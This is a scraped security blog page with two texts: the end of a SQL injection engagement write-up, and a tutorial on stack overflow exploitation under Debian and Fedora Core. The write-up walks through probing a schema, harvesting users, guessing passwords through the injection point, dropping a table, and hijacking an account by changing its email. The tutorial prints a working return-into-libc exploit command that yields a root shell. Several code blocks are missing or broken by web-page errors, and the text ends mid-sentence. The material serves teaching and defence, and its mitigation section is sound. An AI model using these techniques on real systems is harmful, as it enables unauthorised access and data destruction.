Note, however, that we use the AND conjunction instead of OR: this is intentional. In the SQL schema mapping phase, we're not really concerned with guessing any particular email addresses, and we do not want random users inundated with "here is your password" emails from the application - this will surely raise suspicions to no good purpose. By using the AND conjunction with an email address that couldn't ever be valid, we're sure that the query will always return zero rows.

Submitting the above snippet indeed gave us the "email address unknown" response, so now we know that the email address is stored in a field email. If this hadn't worked, we'd have tried email_address or mail or the like. This process will involve quite a lot of guessing.

Next we'll guess some other obvious names: password, user ID, name, and the like. These are all done one at a time, and anything other than "server failure" means we guessed the name correctly.

As a result of this process, we found several valid field names:

  • email
  • passwd
  • login_id
  • full_name

There are certainly more (and a good source of clues is the names of the fields on forms), but a bit of digging did not discover any. But we still don't know the name of the table that these fields are found in - how to find out?

Finding the table name

The application's built-in query already has the table name built into it, but we don't know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a subselect.

A standalone query of

Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name:

We don't care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that members was a valid table in the database. But is it the table used in this query? For that we need yet another test using table.field notation: it only works for tables that are actually part of this query, not merely that the table exists.

When this returned "Email unknown", it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim.

Finding some users

At this point we have a partial idea of the structure of the members table, but we only know of one username: the random member who got our initial "Here is your password" email. Recall that we never received the message itself, only the address it was sent to. We'd like to get some more names to work with, preferably those likely to have access to more data.

The first place to start, of course, is the company's website to find who is who: the "About us" or "Contact" pages often list who's running the place. Many of these contain email addresses, but even those that don't list them can give us some clues which allow us to find them with our tool.

The idea is to submit a query that uses the LIKE clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the "We sent your password" message and email. Warning: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy.

We can do the query on email name or full name (or presumably other information), each time putting in the % wildcards that LIKE supports:

Keep in mind that even though there may be more than one "Bob", we only get to see one of them: this suggests refining our LIKE clause narrowly.

Ultimately, we may only need one valid email address to leverage our way in.

Brute-force password guessing

One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected.

We'll instead do actual password testing in our snippet by including the email name and password directly. In our example, we'll use our victim, bob@example.com and try multiple passwords.

This is clearly well-formed SQL, so we don't expect to see any server errors, and we'll know we found the password when we receive the "your password has been mailed to you" message. Our mark has now been tipped off, but we do have his password.

This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it.

The database isn't readonly

So far, we have done nothing but query the database, and even though a SELECT is readonly, that doesn't mean that SQL is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query. The most drastic example is:

The first part provides a dummy email address -- 'x' -- and we don't care what this query returns: we're just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire members table, which really doesn't seem too sporting.

This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising.

Adding a new member

Given that we know the partial structure of the members table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we'll simply be able to login directly with our newly-inserted credentials.

This, not surprisingly, takes a bit more SQL, and we've wrapped it over several lines for ease of presentation, but our part is still one contiguous string:

Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack:

  1. We might not have enough room in the web form to enter this much text directly (though this can be worked around via scripting, it's much less convenient).
  2. The web application user might not have INSERT permission on the members table.
  3. There are undoubtedly other fields in the members table, and some may require initial values, causing the INSERT to fail.
  4. Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn't provide values for.
  5. A valid "member" might require not only a record in the members table, but associated information in other tables (say, "accessrights"), so adding to one table alone might not be sufficient.

In the case at hand, we hit a roadblock on either #4 or #5 - we can't really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly.

A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other "obvious" fields, it's very hard to imagine the bigger-picture organization of this application.

We ended up going down a different road.

Mail me a password

We then realized that though we are not able to add a new record to the members database, we can modify an existing one, and this proved to be the approach that gained us entry.

From a previous step, we knew that bob@example.com had an account on the system, and we used our SQL injection to update his database record with our email address:

However, this naive approach can be beaten because most databases support other string escape mechanisms. MySQL, for instance, also permits ' to escape a quote, so after input of '; DROP TABLE users; -- is "protected" by doubling the quotes, we get:

The expression ''' is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It doesn't stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to trip up the application designer.

Getting quotes right is notoriously difficult, which is why many database interface languages provide a function that does it for you. When the same internal code is used for "string quoting" and "string parsing", it's much more likely that the process will be done properly and safely.

Some examples are the MySQL function mysql_real_escape_string(), perl DBD method $dbh->quote($value).

These methods must be used .

Use bound parameters (the PREPARE statement)
Though quotesafing is a good mechanism, we're still in the area of "considering user input as SQL", and a much better approach exists: bound parameters, which are supported by essentially all database programming interfaces. In this technique, an SQL statement string is created with placeholders - a question mark for each parameter - and it's compiled ("prepared", in SQL parlance) into an internal form.

Later, this prepared query is "executed" with a list of parameters. Here's an example in ASP.NET:

Dim thisCommand As SQLCommand = New SQLCommand("SELECT email,userid " & _
"FROM members WHERE email = @email", Connection)
thisCommand.Parameters.Add ("@email", SqlDbType.VarChar).Value = Request.QueryString("email")
SqlDataReader dr = thisCommand.ExecuteReader()

Here, $email is the data obtained from the user's form, and it is passed as positional parameter #1 (the first question mark), and at no point do the contents of this variable have anything to do with SQL statement parsing. Quotes, semicolons, backslashes, SQL comment notation - none of this has any impact, because it's "just data". There simply is nothing to subvert, so the application is be largely immune to SQL injection attacks.

There also may be some performance benefits if this prepared query is reused multiple times (it only has to be parsed once), but this is minor compared to the enormous security benefits. This is probably the single most important step one can take to secure a web application.

Limit database permissions and segregate users
In the case at hand, we observed just two interactions that are made not in the context of a logged-in user: "log in" and "send me password". The web application ought to use a database connection with the most limited rights possible: query-only access to the members table, and no access to any other table.

The effect here is that even a "successful" SQL injection attack is going to have much more limited success. Here, we'd not have been able to do the UPDATE request that ultimately granted us access, so we'd have had to resort to other avenues.

Once the web application determined that a set of valid credentials had been passed via the login form, it would then switch that session to a database connection with more rights.

It should go almost without saying that sa rights should never be used for any web-based application.

Use stored procedures for database access
When the database server supports them, use stored procedures for performing access on the application's behalf, which can eliminate SQL entirely (assuming the stored procedures themselves are written properly).

By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and documented on a standalone basis and business rules enforced (for instance, the "add new order" procedure might reject that order if the customer were over his credit limit).

For simple queries this might be only a minor benefit, but as the operations become more complicated (or are used in more than one place), having a single definition for the operation means it's going to be more robust and easier to maintain.

Note: it's always possible to write a stored procedure that itself constructs a query dynamically: this provides no protection against SQL Injection - it's only proper binding with prepare/execute or direct SQL statements with bound variables that provide this protection.

Isolate the webserver
Even having taken all these mitigation steps, it's nevertheless still possible to miss something and leave the server open to compromise. One ought to design the network infrastructure to assume that the bad guy will have full administrator access to the machine, and then attempt to limit how that can be leveraged to compromise other things.

For instance, putting the machine in a DMZ with extremely limited pinholes "inside" the network means that even getting complete control of the webserver doesn't automatically grant full access to everything else. This won't stop everything, of course, but it makes it a lot harder.

Configure error reporting
The default error reporting for some frameworks includes developer debugging information, and this cannot be shown to outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax error involved.

This information is useful to developers, but it should be restricted - if possible - to just internal users.

Note that not all databases are configured the same way, and not all even support the same dialect of SQL (the "S" stands for "Structured", not "Standard"). For instance, most versions of MySQL do not support subselects, nor do they usually allow multiple statements: these are substantially complicating factors when attempting to penetrate a network.

Conclusion

We'd like to emphasize that though we chose the "Forgotten password" link to attack in this particular case, it wasn't really because this particular web application feature is dangerous. It was simply one of several available features that might have been vulnerable, and it would be a mistake to focus on the "Forgotten password" aspsect of the presentation.

This Tech Tip has not been intended to provide comprehensive coverage on SQL injection, or even a tutorial: it merely documents the process that evolved over several hours during a contracted engagement. We've seen other papers on SQL injection discuss the technical background, but still only provide the "money shot" that ultimately gained them access.

But that final statement required background knowledge to pull off, and the process of gathering that information has merit too. One doesn't always have access to source code for an application, and the ability to attack a custom application blindly has some value.

Thanks to David Litchfield and Randal Schwartz for their technical input to this paper.

이올린에 북마크하기(0) 이올린에 추천하기(0)
"Security" 카테고리의 다른 글
2007/04/30 00:28 2007/04/30 00:28

맨 위로

How to Exploit Overflow Vulnerability Under Fedora Core

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    - How to Exploit Overflow Vulnerability Under Fedora Core -

     
       
                                  by vangelis(vagelis@wowhacker.org)
                                  Email: progressfree at hotmail.com

** This paper is based on beist(http://www.beist.org)'s wonderful article
   "One Shot Overflow Attack Under Fedora Core2" **

                         Thanks to beist!

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
<cont>


-=[Contents]=-

1. What is Fedora Project
2. Limits of Classical and Return-into-libc Overflow Technique
3. What is exec-shield
4. A Good Hammer to Break Down 'exec-barrier'






1. What is Fedora Project?

  You can find what Fedora Project is in the project homepage(http://fedora.redhat.com).
Read the section "What is The Fedora Project?" in the main page:


        The Fedora Project is a Red-Hat-sponsored  and  community-supported
        open source project. It is also a proving ground for new technology
        that may eventually make its way into Red Hat products. It is not a 
        supported product of Red Hat, Inc.

        The goal of  The Fedora Project is to work with the Linux community
        to build a complete,  general purpose  operating system exclusively
        from free software. Development will be done in a public forum. The
        project will produce  time-based  releases of Fedora Core about 2-3
        times a year with a public release schedule.The Red Hat engineering
        team will continue to participate in the building  of Fedora Core &
        will  invite  and  encourage  more  outside  participation than was
        possible in Red Hat Linux. By using this more open process, we hope
        to provide an operating system  that uses free software development
        practices and is more appealing to the open source community.


Now, Fedora Core 3 is available(http://fedora.redhat.com/download/#download). The one of the
main changes between previous version of Red Hat Linux(for example, Red Hat 8, 9.)and Fedora
Core is the supply of exec-shield(http://people.redhat.com/mingo/exec-shield). This makes it
difficult for attackers to exploit overflow  vulnerability  under the circumtances of Fedora
Core.



2. Limits of Classical and Return-into-libc Overflow Technique

  You can use 'classical' overflow  technique to exploit the systems till Red Hat Linux 8.
Red Hat Linux 9 supplied random stack policy, and some systems supply non-executable stack,
but we can overcome the security policies by using the return-into-libc technique.  You can
find various aticles including mine(http://neworder.box.sk/newsread.php?newsid=12476) about
these.  I have done test mostly in Red Hat system.  So, now I just attach a test in  Debian
Sarge system.  The following technique was first used to overcome non-executable and random
stack. This is just for showing a methodology.


------------------ test in Debian ---------------------------------------------------------

vangelis@Sarge8:~/bof$ cat > ch.c

vangelis@Sarge8:~/bof$ su
Password:
Sarge8:/home/vangelis/bof# gcc -o ch ch.c
Sarge8:/home/vangelis/bof# cat > vul.c


Sarge8:/home/vangelis/bof# gcc -o vul vul.c
Sarge8:/home/vangelis/bof# ./ch
Put the file name you want to chown and chmod: vul
Sarge8:/home/vangelis/bof# ls -l vul
-rwsr-xr-x  1 root     root     11921 2004-11-05 09:04 vul
Sarge8:/home/vangelis/bof# su vangelis

vangelis@Sarge8:~/bof$ env
TERM=vt100
SHELL=/bin/bash
SSH_CLIENT=::ffff:2xx.1xx.xx.xxx 3418 22
SSH_TTY=/dev/pts/6
USER=vangelis
   :
   

vangelis@Sarge8:~/bof$ export TERM="vt100;/bin/sh"
vangelis@Sarge8:~/bof$ env
TERM=vt100;/bin/sh
SHELL=/bin/bash
SSH_CLIENT=::ffff:2xx.1xx.xx.xxx 3418 22
SSH_TTY=/dev/pts/6
USER=vangelis
    :

vangelis@Sarge8:~/bof$ gdb vul
GNU gdb 6.1-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-linux"...Using host libthread_db library
"/lib/tls/libthread_db.so.1".

(gdb) b main
Breakpoint 1 at 0x804836a
(gdb) r
Starting program: /home/vangelis/bof/vul

Breakpoint 1, 0x0804836a in main ()
(gdb) x/50x $ebp
0xbffffa88:     0xbffffb14      0x4003b7f8      0x00000001      0xbffffb14
0xbffffa98:     0xbffffb1c      0x00000000      0x4015dedc      0x400164a0
0xbffffaa8:     0xbffffaa0      0x080483a0      0xbffffa90      0x4003b7b4  
0xbffffab8:     0x00000000      0x00000000      0x00000000      0x40016c40  
0xbffffac8:     0x00000001      0x080482a0      0x00000000      0x4000bbe0  
0xbffffad8:     0x4000c290      0x40016c40      0x00000001      0x080482a0  
0xbffffae8:     0x00000000      0x080482c1      0x08048364      0x00000001  
0xbffffaf8:     0xbffffb14      0x080483a0      0x08048400      0x4000c290  
0xbffffb08:     0xbffffb0c      0x00000000      0x00000001      0xbffffc01  
0xbffffb18:     0x00000000      0xbffffc18      0xbffffc28      0xbffffc3b  
0xbffffb28:     0xbffffc64      0xbffffc77      0xbffffc85      0xbffffeba
0xbffffb38:     0xbffffec6      0xbfffff00      0xbfffff18      0xbfffff24
0xbffffb48:     0xbfffff3b      0xbfffff4d
(gdb) x/s 0xbffffc01
0xbffffc01:      "/home/vangelis/bof/vul"
(gdb) x/8wx 0xbffffb1c
0xbffffb1c:     0xbffffc18      0xbffffc28      0xbffffc3b      0xbffffc64
0xbffffb2c:     0xbffffc77      0xbffffc85      0xbffffeba      0xbffffec6
(gdb) x/s 0xbffffc18
0xbffffc18:      "SHELL=/bin/bash"
(gdb) disas main
Dump of assembler code for function main:
0x08048364 <main+0>:    push   %ebp
0x08048365 <main+1>:    mov    %esp,%ebp
0x08048367 <main+3>:    sub    $0x28,%esp
0x0804836a <main+6>:    and    $0xfffffff0,%esp
0x0804836d <main+9>:    mov    $0x0,%eax
0x08048372 <main+14>:   sub    %eax,%esp
0x08048374 <main+16>:   mov    0xc(%ebp),%eax
0x08048377 <main+19>:   add    $0x4,%eax
0x0804837a <main+22>:   mov    (%eax),%eax
0x0804837c <main+24>:   mov    %eax,0x4(%esp)
0x08048380 <main+28>:   lea    0xffffffe8(%ebp),%eax
0x08048383 <main+31>:   mov    %eax,(%esp)
0x08048386 <main+34>:   call   0x8048288 <_init+56>
0x0804838b <main+39>:   mov    $0x0,%eax
0x08048390 <main+44>:   leave  
0x08048391 <main+45>:   ret    
0x08048392 <main+46>:   nop    
0x08048393 <main+47>:   nop    
0x08048394 <main+48>:   nop    
0x08048395 <main+49>:   nop    
0x08048396 <main+50>:   nop    
0x08048397 <main+51>:   nop    
0x08048398 <main+52>:   nop    
0x08048399 <main+53>:   nop    
0x0804839a <main+54>:   nop    
0x0804839b <main+55>:   nop    
0x0804839c <main+56>:   nop    
0x0804839d <main+57>:   nop    
0x0804839e <main+58>:   nop    
0x0804839f <main+59>:   nop    
End of assembler dump.
(gdb) x/i setuid
0x400d4160 <setuid>:    push   %ebx
(gdb) x/i system
0x400668b0 <system>:    sub    $0x10,%esp
(gdb) q
The program is running.  Exit anyway? (y or n) y
vangelis@Sarge8:~/bof$



## exploit payload ##

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
| data to overflow | (ret of printf) x n(dis from **env to *env[0]) | *setuid | *system |
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



0xbffffa98:     0xbffffb1c      0x00000000      0x4015dedc      0x400164a0
               ----------
            *-- (**env)                                                  
            |                                                             
0xbffffaa8:  |   0xbffffaa0      0x080483a0      0xbffffa90      0x4003b7b4  
0xbffffab8:  |   0x00000000      0x00000000      0x00000000      0x40016c40  
0xbffffac8:  |   0x00000001      0x080482a0      0x00000000      0x4000bbe0  
0xbffffad8:  |   0x4000c290      0x40016c40      0x00000001      0x080482a0  
0xbffffae8:  |   0x00000000      0x080482c1      0x08048364      0x00000001  
0xbffffaf8:  |   0xbffffb14      0x080483a0      0x08048400      0x4000c290  
0xbffffb08:  |   0xbffffb0c      0x00000000      0x00000001      0xbffffc01  
0xbffffb18:  |   0x00000000      0xbffffc18      0xbffffc28      0xbffffc3b  
            |                   ----------
            *----------------->  (*env[0])
              (total 34)



vangelis@Sarge8:~/bof$ ./vul `perl -e 'print "A"x28,"\xc9\x5a\x07\x40"x34,"\x60\x41\x0d\x40",
"\xb0\x68\x06\x40"'`
sh-3.00# id
uid=0(root) gid=1003(vangelis) groups=1003(vangelis)
sh-3.00#

--------- End of Test ---------------------------------------------------------------------


 
Now I will demonstrate the limitations of 'classical' overflow and return-into-libc technique.
I use two technique in the following test. The test was performed in Fedora Core 2. I haven't
have a chance to test in Fedora Core 3  yet.  If there are some serious differences in Core 3,
would you mail me and give an account in your 'own' Fedora Core 3 server to test? After I had
finished an overflow test in Fedora Core 2 system, Fedora Core 3 was released. I don't install
Fedora Core 3 due to my laziness.
     


------ Test by using classical overflow technique in Fedora Core 2 --------------------------

[root@testbed fedora]# cat > chogm.c

[root@testbed fedora]# gcc -o chogm chogm.c
[root@testbed fedora]# cat > vul.c

[root@testbed fedora]# gcc -o vul vul.c
[root@testbed fedora]# ./chogm
Put the file name you want to chown and chmod: vul
[root@testbed fedora]# ls -l vul
-rwsr-xr-x  1 root root 4729 11? 1 00:41 vul
[root@testbed fedora]#



+++++++++++++++
Use of eggshell
+++++++++++++++


[root@testbed fedora]# su vangelis
[vangelis@testbed fedora]$ cat > egg.c

[vangelis@testbed fedora]$ gcc -o egg egg.c
[vangelis@testbed fedora]$ ./egg
Using address: 0xfee81c18
[vangelis@testbed fedora]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048370 <main+0>:    push   %ebp
0x08048371 <main+1>:    mov    %esp,%ebp
0x08048373 <main+3>:    sub    $0x18,%esp   // 24 bytes are needed to overwrite
0x08048376 <main+6>:    and    $0xfffffff0,%esp
0x08048379 <main+9>:    mov    $0x0,%eax
0x0804837e <main+14>:   sub    %eax,%esp
0x08048380 <main+16>:   sub    $0x8,%esp
0x08048383 <main+19>:   mov    0xc(%ebp),%eax
0x08048386 <main+22>:   add    $0x4,%eax
0x08048389 <main+25>:   pushl  (%eax)
0x0804838b <main+27>:   lea    0xffffffe8(%ebp),%eax
0x0804838e <main+30>:   push   %eax
0x0804838f <main+31>:   call   0x80482b0 <_init+56>
0x08048394 <main+36>:   add    $0x10,%esp
0x08048397 <main+39>:   mov    $0x0,%eax
0x0804839c <main+44>:   leave  
0x0804839d <main+45>:   ret    
0x0804839e <main+46>:   nop    
0x0804839f <main+47>:   nop    
End of assembler dump.
(gdb) q
[vangelis@testbed fedora]$ ./vul `perl -e 'print "\x18\xlc\xe8\xfe"x8'`
?
&#47736;&#47111;&#63950;?
&#22777;
&#20197;&#29788;
[vangelis@testbed fedora]$ ./vul `perl -e 'print "\x18\xlc\xe8\xfe"x30'`
?
&#47736;&#47111;&#63950;?
&#22777;
&#20197;&#29788;
[vangelis@testbed fedora]$


I failed in the test owing to the non-executable stack.





++++++++++++++++++++++++
use of return-into-libc
++++++++++++++++++++++++

[vangelis@testbed fedora]$ env
HOSTNAME=testbed
TERM=vt100
SHELL=/bin/bash
HISTSIZE=1000
    :
   

[vangelis@testbed fedora]$ export HOSTNAME="testbed;/bin/sh"
[vangelis@testbed fedora]$ env
HOSTNAME=testbed;/bin/sh
TERM=vt100
SHELL=/bin/bash
HISTSIZE=1000
    :



[vangelis@testbed fedora]$
[vangelis@testbed bof]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048376
(gdb) r
Starting program: /home/vangelis/bof/vul
Error while mapping shared library sections:
: ?
  &#44611;&#45228;.
Error while reading shared library symbols:
: &#27961;&#47747;?&#28479;&#20350; &#25033;&#51343;&#51338;&#9473;&#23195; &#22777;.
(no debugging symbols found)...(no debugging symbols found)...Error while reading shared library symbols:
: &#27961;&#47747;?&#28479;&#20350; &#25033;&#51343;&#51338;&#9473;&#23195; &#22777;.
Error while reading shared library symbols:
: &#27961;&#47747;?&#28479;&#20350; &#25033;&#51343;&#51338;&#9473;&#23195; &#22777;.

Breakpoint 1, 0x08048376 in main ()
(gdb) x/50x $ebp
0xfeefe378:     0xfeefe3d8      0x0058cad4      0x00000001      0xfeefe404
0xfeefe388:     0xfeefe40c      0x00571f28      0x0068effc      0x00000000
0xfeefe398:     0xfeefe390      0xfeefe3d8      0xfeefe380      0x0058ca96
0xfeefe3a8:     0x00000000      0x00000000      0x00000000      0x00570fe0
0xfeefe3b8:     0x00000001      0x080482c0      0x00000000      0x00566840
0xfeefe3c8:     0x00567120      0x00570fe0      0x00000001      0x080482c0
0xfeefe3d8:     0x00000000      0x080482e1      0x08048370      0x00000001
0xfeefe3e8:     0xfeefe404      0x080483a0      0x080483e8      0x00567120
0xfeefe3f8:     0xfeefe3fc      0x0056d632      0x00000001      0xfefb4ba5
0xfeefe408:     0x00000000      0xfefb4bbc      0xfefb4be0      0xfefb4bf0
0xfeefe418:     0xfefb4bfb      0xfefb4c09      0xfefb4c32      0xfefb4c48
0xfeefe428:     0xfefb4c5d      0xfefb4c6b      0xfefb4e2e      0xfefb4e3a
0xfeefe438:     0xfefb4e45      0xfefb4e9b
(gdb) x/8x 0xfeefe40c
0xfeefe40c:     0xfefb4bbc      0xfefb4be0      0xfefb4bf0      0xfefb4bfb
0xfeefe41c:     0xfefb4c09      0xfefb4c32      0xfefb4c48      0xfefb4c5d
(gdb) x/s 0xfefb4bbc
0xfefb4bbc:      "HOSTNAME=testbed;/bin/sh"
(gdb) x/i setuid
0x5fefc0 <setuid>:      push   %ebp
(gdb) x/i system
0x5ab5e0 <system>:      push   %ebp
(gdb) disas printf
Dump of assembler code for function printf:
0x005b92a0 <printf+0>:  push   %ebp
0x005b92a1 <printf+1>:  mov    %esp,%ebp
0x005b92a3 <printf+3>:  sub    $0x10,%esp
0x005b92a6 <printf+6>:  mov    %ebx,0xfffffffc(%ebp)
0x005b92a9 <printf+9>:  mov    0x8(%ebp),%edx
0x005b92ac <printf+12>: lea    0xc(%ebp),%ecx
0x005b92af <printf+15>: call   0x58c90d <__i686.get_pc_thunk.bx>
0x005b92b4 <printf+20>: add    $0xd5d48,%ebx
0x005b92ba <printf+26>: mov    %ecx,0x8(%esp)
0x005b92be <printf+30>: mov    0xfffffe7c(%ebx),%ecx
0x005b92c4 <printf+36>: mov    %edx,0x4(%esp)
0x005b92c8 <printf+40>: mov    (%ecx),%edx
0x005b92ca <printf+42>: mov    %edx,(%esp)
0x005b92cd <printf+45>: call   0x5b0620 <vfprintf>
0x005b92d2 <printf+50>: mov    0xfffffffc(%ebp),%ebx
0x005b92d5 <printf+53>: mov    %ebp,%esp
0x005b92d7 <printf+55>: pop    %ebp
0x005b92d8 <printf+56>: ret    
0x005b92d9 <printf+57>: nop    
0x005b92da <printf+58>: nop    
0x005b92db <printf+59>: nop    
0x005b92dc <printf+60>: nop    
0x005b92dd <printf+61>: nop    
0x005b92de <printf+62>: nop    
0x005b92df <printf+63>: nop    
End of assembler dump.
(gdb) q
The program is running.  Exit anyway? (y or n) y
[vangelis@testbed bof]$
[vangelis@testbed fedora]$ ./vul `perl -e 'print "A"x28,"\xd8\x92\x5b"x34,"\c0\ef\x5f","\xe0\xb5\x5a"'`
?
&#47736;&#47111;&#63950;?
&#22777;
&#20197;&#29788;
[vangelis@testbed fedora]$ ./vul "`perl -e 'print "A"x28,"
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
x00
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
xd8
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
x92
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
x5b"x34,"
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
x00
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
c0
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
ef
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
x5f",
"
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
x00
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
xe0
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
xb5
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
x5a"'`"
?
&#47736;&#47111;&#63950;?
&#22777;
&#20197;&#29788;
[vangelis@testbed fedora]$


Even though I used an advanced return-into-libc technique, I also failed in the test.

--------- End of Test ---------------------------------------------------------------------




Now we can find it hard to apply the calssiacl & return-into-libc technique to exploitation.
This is because of the exec-shield. Let's check what exec-shield is.




3. What is exec-shield?

  You can understand 'what exec-shield is' by redaing "ANNOUNCE-exec-shield". You can find
"ANNOUNCE-exec-shield" in "http://people.redhat.com/mingo/exec-shield/ANNOUNCE-exec-shield".
"ANNOUNCE-exec-shield" is a detailed explanation about 'exec-shield'. Let's check essential
parts of "ANNOUNCE-exec-shield" for exploitation:


       "The exec-shield feature provides protection against stack, buffer or
       function pointer overflows, and  against other types of exploits that
       rely  on  overwriting data structures and/or putting  code into those
       structures. The patch also makes it harder to pass in and execute the
       so-called 'shell-code' of exploits.


       Background:
       -----------

       It is commonly  known that  x86 pagetables do not support the so-called
       executable  bit in the  pagetable entries - PROT_EXEC and PROT_READ are
       merged into a single 'read or execute' flag. This means that even if an
       application marks a certain memory area non-executable(by not providing
       the PROT_EXEC  flag  upon mapping it)  under x86,  that  area is  still
       executable, if the area is PROT_READ.

       Furthermore, the x86 ELF ABI  marks the process stack executable, which
       requires  that the stack is marked executable even on CPUs that support
       an executable bit in the pagetables.

       This problem has been  addressed in the past by  various kernel patches,
       such as Solar Designer's excellent "non-exec stack patch".These patches
       mostly  operate by  using the x86  segmentation feature to set the code
       segment  'limit' value to a certain fixed value that points right below
       the stack frame.  The exec-shield tries to cover as much virtual memory
       via the code segment limit as possible - not just the stack.


       Implementation:
       ---------------

       The  exec-shield  feature  works via  the kernel transparently tracking
       executable  mappings an application specifies, and maintains a 'maximum
       executable address' value.This is called the 'exec-limit'.The scheduler
       uses the  exec-limit to  update the  code  segment descriptor upon each
       context-switch. Since each process (or thread) in the system can have a
       different exec-limit, the scheduler sets the user code segment dynamica-
       lly so that always the correct code-segment limit is used.
                                          :

       Furthermore, the kernel also remaps all PROT_EXEC mappings to the so-called
       ASCII-armor area, which on x86 is the addresses 0-16MB. These addresses
       are special because they cannot be jumped to via ASCII-based overflows.
                                          :

       this means  that not only  the stack is  non-executable,  but  lots of
       mmap()-ed data areas and the malloc() heap is non-executable as well.  
       (some data areas are still executable, but most of them are not.)

       the first 1MB of the ASCII-armor is left unused to provide NULL pointer
       dereference protection and leave space for 16-bit emulation mappings used
       by XFree86 and others.
                                          :

       Note that the kernel will relocate every shared-library to the ASCII-
       armor, but the binary address is determined at link-time.


       Limitations:
       ------------

       This feature will not protect against every type of attack.
       
       E.g.  if an  overflow can be used  to overwrite  a local variable which
       changes the flow of control in a way that compromises the system.But we
       do  believe that  this  feature will stop  every attack  that is purely
       operating by overflowing the return address on the stack,or overflowing
       a function pointer in the heap. Furthermore, exec-shield makes it quite
       hard  to mount  a successful attack even in the other cases, because it
       inhibits the execution of exploit shell-code, in most cases.

       also, if the overflow is within the exec-shield itself (e.g. within the
       data  section of one of  the shared library objects in the ASCII-armor)
       then the overflow might be possible to exploit.

       also, it is possible to jump into the first 16MB even via ASCII attacks,
       if the overflow string is  short and the end-of-string  \0 byte is used.
       In this case it's not possible to pass arguments to the called function
       though, making the attack quite hard to succeed.(But it's not impossible,
       if  there's a function  in the binary that gives a root shell if simply
       called, then that can be used for the attack.)

       All in one, exec-shield is one barrier against attacks, not blanket 100%
       protection  in any way.  The most efficient security can be provided by
       installing as many layers as possible.

         To provide as  good protection as  possible,   there's no  trampoline
       workaround  in  the exec-shield code - ie. exec-limit violations in the
       trampoline case  are never let through.  Applications that need to rely
       on gcc trampolines will have to use the per-binary ELF flag to make the
       stack  executable  again.  (The ELF flag is the same as  used by  Solar
       Designer's non-exec stack patch,  to provide as much compatibility with
       existing non-exec-stack installations as possible.)

       The exec-shield  feature  will  uncover  applications that incorrectly
       assumed that PROT_READ allows execution on x86."
                                          :




I strongly suggest you to read the whole "ANNOUNCE-exec-shield" to understand 'exec-shield'.
Now I will summarize four main points of "ANNOUNCE-exec-shield" for readers.


1) "The exec-shield feature  provides protection against stack, buffer or function pointer
  overflows, and against other types of exploits that rely on overwriting data structures
  and / or putting code into those structures."  So it is almost impossible for us to use
  shellcode for exploitation.  This is because  stack is non-execuatble and many map()-ed
  data  areas and  the malloc() heap is  non-executable as well.  You could identify this
  in the  "Use of eggshell"  section of my "Test by using classical overflow technique in
  Fedora Core 2".

2) Kernel  remaps all  PROT_EXEC  mappings to  the 'ASCII-armor' area, which on x86 is the
  addresses 0-16MB. So they cannot be jumped to via ASCII-based overflows.  The first 1MB
  of the ASCII-armor is left unused to provide 'NULL pointer dereference protection'. And
  kernel relocates every shared-library to the ASCII-armor.  In the classical and return-
  into-libc technique, we use 4 bytes address to exploit.But we can't use 4 bytes address
  system to overwrite stack owing to the NULL pointer dereference protection.And the more
  serious thing is that  kernel relocates every shared-library to  the ASCII-armor, so we
